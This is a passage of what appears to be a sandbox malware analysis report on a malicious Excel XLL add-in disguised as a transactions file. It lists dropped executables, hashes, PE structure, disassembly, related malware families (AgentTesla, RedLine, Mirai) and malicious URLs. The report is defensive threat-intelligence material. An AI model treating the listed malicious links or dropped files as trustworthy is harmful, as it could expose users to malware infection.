	https://api.spently.com/api/spently/click?id=105133&store=hotelcollection&type=OI&cid=6272440696998&url=http%3A%2F%2Fpolicememorialbd.com%2Fxx%2FGB13VEAC52359171238481%2FaXJpbmEubWFyaXRhbkBhY2l3b3JsZHdpZGUuY29t	Get hash	malicious	Unknown	Browse	13.224.103.25
	https://mhe7jf2l.page.link/Go1D	Get hash	malicious	Unknown	Browse	3.160.212.76
	pSWP8vqTi4.elf	Get hash	malicious	Mirai, Moobot	Browse	108.157.115.211
	o0c7FkGyUI.elf	Get hash	malicious	Mirai, Moobot	Browse	34.209.36.237
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	13.238.84.27
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	13.247.240.130
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	13.243.84.175
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	13.112.22.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	RIDDHH0J.EXE.exe	Get hash	malicious	Customer Loader	Browse	52.217.14.20 104.192.141.1
	CI-23JC0607-TWO_USA.pdf.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	PI,_SC.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	PO_24656-2023.exe	Get hash	malicious	AveMaria, DarkTortilla, UACMe	Browse	52.217.14.20 104.192.141.1
	COA.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	QUOTATION_JUL7FIBA00541#U00b7PDF.scr.exe	Get hash	malicious	Customer Loader	Browse	52.217.14.20 104.192.141.1
	SecuriteInfo.com.Win32.PWSX-gen.5678.20225.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	IEDutEEmaj.exe	Get hash	malicious	RedLine	Browse	52.217.14.20 104.192.141.1
	SecuriteInfo.com.Win32.RansomX-gen.4349.24109.exe	Get hash	malicious	RedLine	Browse	52.217.14.20 104.192.141.1
	file.exe	Get hash	malicious	Customer Loader, lgoogLoader	Browse	52.217.14.20 104.192.141.1
	DqIexjBPn3.exe	Get hash	malicious	RedLine	Browse	52.217.14.20 104.192.141.1
	FEDEX_AWB.exe	Get hash	malicious	AgentTesla, NSISDropper	Browse	52.217.14.20 104.192.141.1
	HSBC_Bank__Payment_Advice_PDF.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	GThd8BvsIe.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	file.exe	Get hash	malicious	RedLine	Browse	52.217.14.20 104.192.141.1
	documents.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	Best_Price.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	data_19_jul_5956022.js	Get hash	malicious	Unknown	Browse	52.217.14.20 104.192.141.1
	IMG_3760260192pdf.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1
	9ssRpwUVcC.exe	Get hash	malicious	AgentTesla	Browse	52.217.14.20 104.192.141.1

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\DCE7C43F-89A3-45C5-AB14-896C22C70948

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	157711
Entropy (8bit):	5.349203514964932
Encrypted:	false
SSDEEP:	1536:L+C/FPgfHB7U9guw19Q9DQA+zQWk4F77nXmvidlXRjE6LIj6g:WDQ9DQA+zFXWf
MD5:	246174A28CB04DACC32238274096CA7D
SHA1:	1F67656EEC92DCFEA298C8F6FAABD07B7094B799
SHA-256:	5D18FD56F84BC9005177504EAC51918DDF09E44C815328C5FFBA0E486409105B
SHA-512:	670FB5F4F734C6C48D52351713A739A56FBD23DC718F3AC97E77103B13FF64C9E354077194852D18E2D7A26F4C6EEA10CBC26CDE9FD6402752340ADB8F5B2B74
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2023-07-20T11:29:40">.. Build: 16.0.16716.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[MAX.ResourceId]" o:authorityUrl="[ADALAuthorityU

C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	6.482606653399531
Encrypted:	false
SSDEEP:	384:a8cOBobHEmU2TW1sTsV9eKt1ftZJkgQuuPKwPuwVbgORSpLaaJZpTJXFAbHnvy5T:afk7OUvhuPKTwVsOSLvBnivx6
MD5:	E0FB0A3E15BDFBA65A792E3E3463DCD5
SHA1:	D99347DD24949CB18C3E57252180F06469486963
SHA-256:	6E4EC4C17DCC5AB92AE8A4B60B9E905B82F6FD6B0D6C4F7CA205B6EE458EB650
SHA-512:	29D41A6C585AAC0DE08FA52B65848A433B4260C70688040DD233C7D8DE447D270097F0D19E744AE7235DEAFD1C207CC4C48CF117105134BC55AB5C782908D799
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 68% Antivirus: Virustotal, Detection: 79%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........f..{...{...{..&...{.......{...{...{..&...{..&...{..Rich.{..................PE..L....m.d.................\...........!.......p....@.......................................@..................................v..d...................................0u...............................................p...............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data................j..............@....reloc...............l..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\GcQGGmjG.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	95627
Entropy (8bit):	7.917727278942041
Encrypted:	false
SSDEEP:	1536:MJCYvxj+Zu5oQWZh+YiYXY4YtYpY2Y6YBY8YgqzYT:atxjnGQWzHYT
MD5:	42DC31179474685306765FD401576824
SHA1:	753624329719195EE46DDA8F34D6CF47B47708D8
SHA-256:	60F4E62462BA1D0DF81E3416CCAEF7E57BDB0452EEE1DA5ACC1219522CD0100B
SHA-512:	571172B608FA339C40E0F993212F7A4817BD97F781F4D7EDAE4823FE05619115630E56F18BEA62ED425AD8853FFF748C06CAE28DF318A7C4A4D7BA045E70B466
Malicious:	false
Reputation:	low
Preview:	PK..........!..N`.....e.......[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................W.n.0....?.....$M..r.I{l.$...\[.%..2...Y.P......bY.8;\..G..L^...&gY:d..i.6..}.5.b..a.(...-.........&..`.....(......'..+...O..r&....K...`. ..l<...x)C.sN?/.<k...{u....J-E .......d.%(+_.N.y....P...".G..6...G.h.^+H....EE....o.....r..Fzd....q......#...-..3.L!..8.....s.u%.AwDnE..g.-..<~......u..:>z0..ggd.E{(.0gl.@J+..c...4.!.v..m....zNLl.i%.Y.....6[I5^.....#....,..#......x...f...-.4.<x..$.y.P.J....$...-.=...'.c.6..!o....m..0av...."E)..2..Z\......R..z.4.O{

C:\Users\user\AppData\Roaming\~$GcQGGmjG.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtt:RJ1
MD5:	7AB76C81182111AC93ACF915CA8331D5
SHA1:	68B94B5D4C83A6FB415C8026AF61F3F8745E2559
SHA-256:	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
SHA-512:	A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.527899629988121
TrID:	Microsoft Excel Add in (1028004/3) 24.61% Microsoft Excel Add in (1015504/3) 24.31% Win32 Dynamic Link Library (generic) Net Framework (1011504/3) 24.21% Win32 Dynamic Link Library (generic) (1002004/3) 23.99% Windows ActiveX control (116523/4) 2.79%
File name:	2023-07-01-2023-07-15_Transactions.xll
File size:	685'568 bytes
MD5:	2509e8e36e86727e4c52daf8b9f58cc1
SHA1:	f5c7a7661370b20708c66caadcf332abdfeafdaa
SHA256:	59276586364772885369c250a784459713f94f916019cbcd9b1998cd3b07d053
SHA512:	33190ebe0557827f95b56555c489d94947db4d956876f755f9a510926a9e2655ded736906894980890a46c5d9a03e98d309d16108d5077cecbea5051071dec0e
SSDEEP:	12288:4jJ0IPyWjtJVRd5FBNp1x9ZlhtJVRd5FBNp1x9ZlhtJVRd5FBNp1x9ZlhtJVRd5W:20YyatJVRd5FBNp1x9ZlhtJVRd5FBNpl
TLSH:	8CE47B56BEC6AFA2EEBF45B793A5992D1215739D03A18BCF6703009D7951FD2003EA03
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P..K........................................................3...............`...................................Rich...........

Static PE Info

General

Entrypoint:	0x10005b70
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	NX_COMPAT
Time Stamp:	0x64050B00 [Sun Mar 5 21:34:56 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a7d07408bcd5fedae7485d5a9e128ef0

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FD520FA0CB7h
call 00007FD520FA10F9h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FD520FA0B63h
add esp, 0Ch
pop ebp
retn 000Ch
retn 0000h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FD520FA11AFh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FD520FA1199h
jmp 00007FD520FA5829h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 1004320Ch
mov dword ptr [ecx], 10043204h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FD520FA0C8Fh
push 1004A0DCh
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FD520FA1E3Eh
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FD520F9C471h
push 1004A690h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FD520FA1E21h
int3
push ebp
mov ebp, esp
and dword ptr [10073CD0h], 00000000h
sub esp, 24h
or dword ptr [1007302Ch], 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4ae10	0x26e4c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x71c5c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7f000	0x2f644	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xaf000	0x651c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x494d0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x49410	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x43000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4126c	0x41400	False	0.2851412835249042	data	4.809995677853532	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x43000	0x2f448	0x2f600	False	0.43641264017150394	data	5.926678205502329	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x73000	0xb270	0xa00	False	0.1875	data	2.607678723750964	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7f000	0x2f644	0x2f800	False	0.7819747121710526	data	7.434510717427407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xaf000	0x651c	0x6600	False	0.19554227941176472	data	5.65835356839271	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
ASSEMBLY	0x7f340	0xf200	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows			0.45386751033057854
ASSEMBLY_LZMA	0x8e540	0xd59	LZMA compressed data, non-streamed, size 8704			1.003219198127012
ASSEMBLY_LZMA	0x8f29c	0x117b2	LZMA compressed data, non-streamed, size 217600			1.0004329488003127
ASSEMBLY_LZMA	0xa0a50	0xae17	LZMA compressed data, non-streamed, size 1564672			1.0004712006641685
DNA	0xab868	0x21c	XML 1.0 document, ASCII text, with CRLF line terminators			0.6018518518518519
RT_STRING	0xaba84	0x40	data	English	United States	0.640625
RT_STRING	0xabac4	0xdf2	data	English	United States	0.2680672268907563
RT_STRING	0xac8b8	0xda6	PDP-11 demand-paged pure executable not stripped	English	United States	0.24585002862049227
RT_STRING	0xad660	0xc08	data	English	United States	0.2724025974025974
RT_VERSION	0xae268	0x3dc	data	English	United States	0.4524291497975709

Imports

DLL	Import
KERNEL32.dll	LoadResource, LockResource, SizeofResource, SetLastError, GetCurrentProcessId, LocalFree, LocalAlloc, FormatMessageW, GetModuleFileNameW, GetTempPathW, GetTempFileNameW, CreateFileW, WriteFile, FindResourceW, DeleteFileW, GetFileAttributesW, GetLastError, ReadFile, MultiByteToWideChar, lstrcpynW, WriteConsoleW, DecodePointer, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, FreeLibrary, GetProcAddress, CloseHandle, LoadLibraryW, HeapReAlloc, HeapSize, SetStdHandle, SetFilePointerEx, GetStringTypeW, GetProcessHeap, WideCharToMultiByte, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, RaiseException, InterlockedFlushSList, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, ExitProcess, GetModuleHandleExW, HeapFree, HeapAlloc, GetStdHandle, GetFileType, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW
USER32.dll	EnumWindows, MessageBoxW, LoadStringW, GetWindowThreadProcessId, RealGetWindowClassW
OLEAUT32.dll	SafeArrayAccessData, SafeArrayUnlock, SafeArrayLock, SafeArrayDestroy, SafeArrayCreateVector, VariantClear, VariantInit, SysAllocStringLen, SysFreeString, SysAllocString

Exports

Name	Ordinal	Address
CalculationCanceled	1	0x10040df0
CalculationEnded	2	0x10040dc0
DllCanUnloadNow	3	0x10040e90
DllGetClassObject	4	0x10040ea0
DllRegisterServer	5	0x10040fa0
DllUnregisterServer	6	0x10040f60
RegistrationInfo	7	0x10040e20
SetExcel12EntryPt	8	0x10040fe0
SyncMacro	9	0x10040e50
f0	10	0x10040db0
f1	11	0x10040da0
f10	12	0x10040d10
f100	13	0x10040770
f1000	14	0x1003cf30
f1001	15	0x1003cf20
f1002	16	0x1003cf10
f1003	17	0x1003cf00
f1004	18	0x1003cef0
f1005	19	0x1003cee0
f1006	20	0x1003ced0
f1007	21	0x1003cec0
f1008	22	0x1003ceb0
f1009	23	0x1003cea0
f101	24	0x10040760
f1010	25	0x1003ce90
f1011	26	0x1003ce80
f1012	27	0x1003ce70
f1013	28	0x1003ce60
f1014	29	0x1003ce50
f1015	30	0x1003ce40
f1016	31	0x1003ce30
f1017	32	0x1003ce20
f1018	33	0x1003ce10
f1019	34	0x1003ce00
f102	35	0x10040750
f1020	36	0x1003cdf0
f1021	37	0x1003cde0
f1022	38	0x1003cdd0
f1023	39	0x1003cdc0
f1024	40	0x1003cdb0
f1025	41	0x1003cda0
f1026	42	0x1003cd90
f1027	43	0x1003cd80
f1028	44	0x1003cd70
f1029	45	0x1003cd60
f103	46	0x10040740
f1030	47	0x1003cd50
f1031	48	0x1003cd40
f1032	49	0x1003cd30
f1033	50	0x1003cd20
f1034	51	0x1003cd10
f1035	52	0x1003cd00
f1036	53	0x1003ccf0
f1037	54	0x1003cce0
f1038	55	0x1003ccd0
f1039	56	0x1003ccc0
f104	57	0x10040730
f1040	58	0x1003ccb0
f1041	59	0x1003cca0
f1042	60	0x1003cc90
f1043	61	0x1003cc80
f1044	62	0x1003cc70
f1045	63	0x1003cc60
f1046	64	0x1003cc50
f1047	65	0x1003cc40
f1048	66	0x1003cc30
f1049	67	0x1003cc20
f105	68	0x10040720
f1050	69	0x1003cc10
f1051	70	0x1003cc00
f1052	71	0x1003cbf0
f1053	72	0x1003cbe0
f1054	73	0x1003cbd0
f1055	74	0x1003cbc0
f1056	75	0x1003cbb0
f1057	76	0x1003cba0
f1058	77	0x1003cb90
f1059	78	0x1003cb80
f106	79	0x10040710
f1060	80	0x1003cb70
f1061	81	0x1003cb60
f1062	82	0x1003cb50
f1063	83	0x1003cb40
f1064	84	0x1003cb30
f1065	85	0x1003cb20
f1066	86	0x1003cb10
f1067	87	0x1003cb00
f1068	88	0x1003caf0
f1069	89	0x1003cae0
f107	90	0x10040700
f1070	91	0x1003cad0
f1071	92	0x1003cac0
f1072	93	0x1003cab0
f1073	94	0x1003caa0
f1074	95	0x1003ca90
f1075	96	0x1003ca80
f1076	97	0x1003ca70
f1077	98	0x1003ca60
f1078	99	0x1003ca50
f1079	100	0x1003ca40
f108	101	0x100406f0
f1080	102	0x1003ca30
f1081	103	0x1003ca20
f1082	104	0x1003ca10
f1083	105	0x1003ca00
f1084	106	0x1003c9f0
f1085	107	0x1003c9e0
f1086	108	0x1003c9d0
f1087	109	0x1003c9c0
f1088	110	0x1003c9b0
f1089	111	0x1003c9a0
f109	112	0x100406e0
f1090	113	0x1003c990
f1091	114	0x1003c980
f1092	115	0x1003c970
f1093	116	0x1003c960
f1094	117	0x1003c950
f1095	118	0x1003c940
f1096	119	0x1003c930
f1097	120	0x1003c920
f1098	121	0x1003c910
f1099	122	0x1003c900
f11	123	0x10040d00
f110	124	0x100406d0
f1100	125	0x1003c8f0
f1101	126	0x1003c8e0
f1102	127	0x1003c8d0
f1103	128	0x1003c8c0
f1104	129	0x1003c8b0
f1105	130	0x1003c8a0
f1106	131	0x1003c890
f1107	132	0x1003c880
f1108	133	0x1003c870
f1109	134	0x1003c860
f111	135	0x100406c0
f1110	136	0x1003c850
f1111	137	0x1003c840
f1112	138	0x1003c830
f1113	139	0x1003c820
f1114	140	0x1003c810
f1115	141	0x1003c800
f1116	142	0x1003c7f0
f1117	143	0x1003c7e0
f1118	144	0x1003c7d0
f1119	145	0x1003c7c0
f112	146	0x100406b0
f1120	147	0x1003c7b0
f1121	148	0x1003c7a0
f1122	149	0x1003c790
f1123	150	0x1003c780
f1124	151	0x1003c770
f1125	152	0x1003c760
f1126	153	0x1003c750
f1127	154	0x1003c740
f1128	155	0x1003c730
f1129	156	0x1003c720
f113	157	0x100406a0
f1130	158	0x1003c710
f1131	159	0x1003c700
f1132	160	0x1003c6f0
f1133	161	0x1003c6e0
f1134	162	0x1003c6d0
f1135	163	0x1003c6c0
f1136	164	0x1003c6b0
f1137	165	0x1003c6a0
f1138	166	0x1003c690
f1139	167	0x1003c680
f114	168	0x10040690
f1140	169	0x1003c670
f1141	170	0x1003c660
f1142	171	0x1003c650
f1143	172	0x1003c640
f1144	173	0x1003c630
f1145	174	0x1003c620
f1146	175	0x1003c610
f1147	176	0x1003c600
f1148	177	0x1003c5f0
f1149	178	0x1003c5e0
f115	179	0x10040680
f1150	180	0x1003c5d0
f1151	181	0x1003c5c0
f1152	182	0x1003c5b0
f1153	183	0x1003c5a0
f1154	184	0x1003c590
f1155	185	0x1003c580
f1156	186	0x1003c570
f1157	187	0x1003c560
f1158	188	0x1003c550
f1159	189	0x1003c540
f116	190	0x10040670
f1160	191	0x1003c530
f1161	192	0x1003c520
f1162	193	0x1003c510
f1163	194	0x1003c500
f1164	195	0x1003c4f0
f1165	196	0x1003c4e0
f1166	197	0x1003c4d0
f1167	198	0x1003c4c0
f1168	199	0x1003c4b0
f1169	200	0x1003c4a0
f117	201	0x10040660
f1170	202	0x1003c490
f1171	203	0x1003c480
f1172	204	0x1003c470
f1173	205	0x1003c460
f1174	206	0x1003c450
f1175	207	0x1003c440
f1176	208	0x1003c430
f1177	209	0x1003c420
f1178	210	0x1003c410
f1179	211	0x1003c400
f118	212	0x10040650
f1180	213	0x1003c3f0
f1181	214	0x1003c3e0
f1182	215	0x1003c3d0
f1183	216	0x1003c3c0
f1184	217	0x1003c3b0
f1185	218	0x1003c3a0
f1186	219	0x1003c390
f1187	220	0x1003c380
f1188	221	0x1003c370
f1189	222	0x1003c360
f119	223	0x10040640
f1190	224	0x1003c350
f1191	225	0x1003c340
f1192	226	0x1003c330
f1193	227	0x1003c320
f1194	228	0x1003c310
f1195	229	0x1003c300
f1196	230	0x1003c2f0
f1197	231	0x1003c2e0
f1198	232	0x1003c2d0
f1199	233	0x1003c2c0
f12	234	0x10040cf0
f120	235	0x10040630
f1200	236	0x1003c2b0
f1201	237	0x1003c2a0
f1202	238	0x1003c290
f1203	239	0x1003c280
f1204	240	0x1003c270
f1205	241	0x1003c260
f1206	242	0x1003c250
f1207	243	0x1003c240
f1208	244	0x1003c230
f1209	245	0x1003c220
f121	246	0x10040620
f1210	247	0x1003c210
f1211	248	0x1003c200
f1212	249	0x1003c1f0
f1213	250	0x1003c1e0
f1214	251	0x1003c1d0
f1215	252	0x1003c1c0
f1216	253	0x1003c1b0
f1217	254	0x1003c1a0
f1218	255	0x1003c190
f1219	256	0x1003c180
f122	257	0x10040610
f1220	258	0x1003c170
f1221	259	0x1003c160
f1222	260	0x1003c150
f1223	261	0x1003c140
f1224	262	0x1003c130
f1225	263	0x1003c120
f1226	264	0x1003c110
f1227	265	0x1003c100
f1228	266	0x1003c0f0
f1229	267	0x1003c0e0
f123	268	0x10040600
f1230	269	0x1003c0d0
f1231	270	0x1003c0c0
f1232	271	0x1003c0b0
f1233	272	0x1003c0a0
f1234	273	0x1003c090
f1235	274	0x1003c080
f1236	275	0x1003c070
f1237	276	0x1003c060
f1238	277	0x1003c050
f1239	278	0x1003c040
f124	279	0x100405f0
f1240	280	0x1003c030
f1241	281	0x1003c020
f1242	282	0x1003c010
f1243	283	0x1003c000
f1244	284	0x1003bff0
f1245	285	0x1003bfe0
f1246	286	0x1003bfd0
f1247	287	0x1003bfc0
f1248	288	0x1003bfb0
f1249	289	0x1003bfa0
f125	290	0x100405e0
f1250	291	0x1003bf90
f1251	292	0x1003bf80
f1252	293	0x1003bf70
f1253	294	0x1003bf60
f1254	295	0x1003bf50
f1255	296	0x1003bf40
f1256	297	0x1003bf30
f1257	298	0x1003bf20
f1258	299	0x1003bf10
f1259	300	0x1003bf00
f126	301	0x100405d0
f1260	302	0x1003bef0
f1261	303	0x1003bee0
f1262	304	0x1003bed0
f1263	305	0x1003bec0
f1264	306	0x1003beb0
f1265	307	0x1003bea0
f1266	308	0x1003be90
f1267	309	0x1003be80
f1268	310	0x1003be70
f1269	311	0x1003be60
f127	312	0x100405c0
f1270	313	0x1003be50
f1271	314	0x1003be40
f1272	315	0x1003be30
f1273	316	0x1003be20
f1274	317	0x1003be10
f1275	318	0x1003be00
f1276	319	0x1003bdf0
f1277	320	0x1003bde0
f1278	321	0x1003bdd0
f1279	322	0x1003bdc0
f128	323	0x100405b0
f1280	324	0x1003bdb0
f1281	325	0x1003bda0
f1282	326	0x1003bd90
f1283	327	0x1003bd80
f1284	328	0x1003bd70
f1285	329	0x1003bd60
f1286	330	0x1003bd50
f1287	331	0x1003bd40
f1288	332	0x1003bd30
f1289	333	0x1003bd20
f129	334	0x100405a0
f1290	335	0x1003bd10
f1291	336	0x1003bd00
f1292	337	0x1003bcf0
f1293	338	0x1003bce0
f1294	339	0x1003bcd0
f1295	340	0x1003bcc0
f1296	341	0x1003bcb0
f1297	342	0x1003bca0
f1298	343	0x1003bc90
f1299	344	0x1003bc80
f13	345	0x10040ce0
f130	346	0x10040590
f1300	347	0x1003bc70
f1301	348	0x1003bc60
f1302	349	0x1003bc50
f1303	350	0x1003bc40
f1304	351	0x1003bc30
f1305	352	0x1003bc20
f1306	353	0x1003bc10
f1307	354	0x1003bc00
f1308	355	0x1003bbf0
f1309	356	0x1003bbe0
f131	357	0x10040580
f1310	358	0x1003bbd0
f1311	359	0x1003bbc0
f1312	360	0x1003bbb0
f1313	361	0x1003bba0
f1314	362	0x1003bb90
f1315	363	0x1003bb80
f1316	364	0x1003bb70
f1317	365	0x1003bb60
f1318	366	0x1003bb50
f1319	367	0x1003bb40
f132	368	0x10040570
f1320	369	0x1003bb30
f1321	370	0x1003bb20
f1322	371	0x1003bb10
f1323	372	0x1003bb00
f1324	373	0x1003baf0
f1325	374	0x1003bae0
f1326	375	0x1003bad0
f1327	376	0x1003bac0
f1328	377	0x1003bab0
f1329	378	0x1003baa0
f133	379	0x10040560
f1330	380	0x1003ba90
f1331	381	0x1003ba80
f1332	382	0x1003ba70
f1333	383	0x1003ba60
f1334	384	0x1003ba50
f1335	385	0x1003ba40
f1336	386	0x1003ba30
f1337	387	0x1003ba20
f1338	388	0x1003ba10
f1339	389	0x1003ba00
f134	390	0x10040550
f1340	391	0x1003b9f0
f1341	392	0x1003b9e0
f1342	393	0x1003b9d0
f1343	394	0x1003b9c0
f1344	395	0x1003b9b0
f1345	396	0x1003b9a0
f1346	397	0x1003b990
f1347	398	0x1003b980
f1348	399	0x1003b970
f1349	400	0x1003b960
f135	401	0x10040540
f1350	402	0x1003b950
f1351	403	0x1003b940
f1352	404	0x1003b930
f1353	405	0x1003b920
f1354	406	0x1003b910
f1355	407	0x1003b900
f1356	408	0x1003b8f0
f1357	409	0x1003b8e0
f1358	410	0x1003b8d0
f1359	411	0x1003b8c0
f136	412	0x10040530
f1360	413	0x1003b8b0
f1361	414	0x1003b8a0
f1362	415	0x1003b890
f1363	416	0x1003b880
f1364	417	0x1003b870
f1365	418	0x1003b860
f1366	419	0x1003b850
f1367	420	0x1003b840
f1368	421	0x1003b830
f1369	422	0x1003b820
f137	423	0x10040520
f1370	424	0x1003b810
f1371	425	0x1003b800
f1372	426	0x1003b7f0
f1373	427	0x1003b7e0
f1374	428	0x1003b7d0
f1375	429	0x1003b7c0
f1376	430	0x1003b7b0
f1377	431	0x1003b7a0
f1378	432	0x1003b790
f1379	433	0x1003b780
f138	434	0x10040510
f1380	435	0x1003b770
f1381	436	0x1003b760
f1382	437	0x1003b750
f1383	438	0x1003b740
f1384	439	0x1003b730
f1385	440	0x1003b720
f1386	441	0x1003b710
f1387	442	0x1003b700
f1388	443	0x1003b6f0
f1389	444	0x1003b6e0
f139	445	0x10040500
